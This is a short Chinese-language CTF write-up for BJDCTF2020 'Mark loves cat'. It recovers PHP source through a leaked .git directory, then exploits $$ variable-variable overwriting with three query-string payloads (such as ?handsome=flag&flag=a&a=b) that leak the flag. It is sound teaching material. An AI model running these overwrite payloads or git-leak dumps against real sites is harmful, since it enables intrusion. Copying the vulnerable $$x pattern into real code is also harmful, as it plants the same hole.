[BJDCTF2020]Mark loves cat

0 阅读1分钟

image-20260311223544411.png

image-20260311221621131.png

发现是一个PHP网站

这里好像仅是一个展示页面,所以试了常规方法,没什么用,仅仅是在左下角底部发现"dog"image-20260311224623011.png

先来一个目录扫描

image-20260311222131109.png

发现*.git*泄露

Githacker --url http://url/.git/ --output-folder buu

image-20260311223406764.png

代审

flag.php内容

<?php

$flag = file_get_contents('/flag');

index.php的PHP部分

<?php

//定义$flag变量
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

//遍历POST请求参数,将参数名作为变量名,参数值作为变量值,如:POST参数name=value 会创建变量 $name = 'value'
foreach($_POST as $x => $y){
    $$x = $y;
}

//遍历GET请求参数,将参数名作为变量名,参数值作为变量名对应的变量值,如:GET参数x=y 会创建变量 $x = $y (其中$y是已存在的变量)
foreach($_GET as $x => $y){
    $$x = $$y;
}

//再次遍历GET参数,检查是否存在flag参数且其值等于某个参数名,但该参数名不能是'flag',如果满足条件,则输出 $handsome 变量并退出程序
foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

//如果没有设置GET或POST的flag参数,则 输出$yds变量 并退出程序
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

//如果POST或GET的flag参数值等于字符串'flag',则 输出$is变量 并退出程序
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

变量覆盖

覆盖$yds

看到$$x = $$y,使用flag变量覆盖任意变量即可,而刚开始发现的dog,就是变量yds,最简单的就是直接令yds=yds=flag

?yds=flagimage-20260311224959749.png

就是先覆盖后由于没有设置flag参数,满足"同时没有设置GET和POST方法的flag参数",触发exit条件输出变量yds,实际输出变量flag

覆盖$handsome

依此类推,我们尝试覆盖handsome变量

第一步,先覆盖:handsome=flag

第二步,满足exit()条件,flag=a,而*$x*必须是已存在的参数,所以要定义a,故a=b

得到exp:?handsome=flag&flag=a&a=bimage-20260311225146719.png

覆盖$is

依旧先覆盖,is=flag

同时也要输入flag变量触发exit,但是为了不影响输出flag结果,使flag=flag

?is=flag&flag=flagimage-20260311225236751.png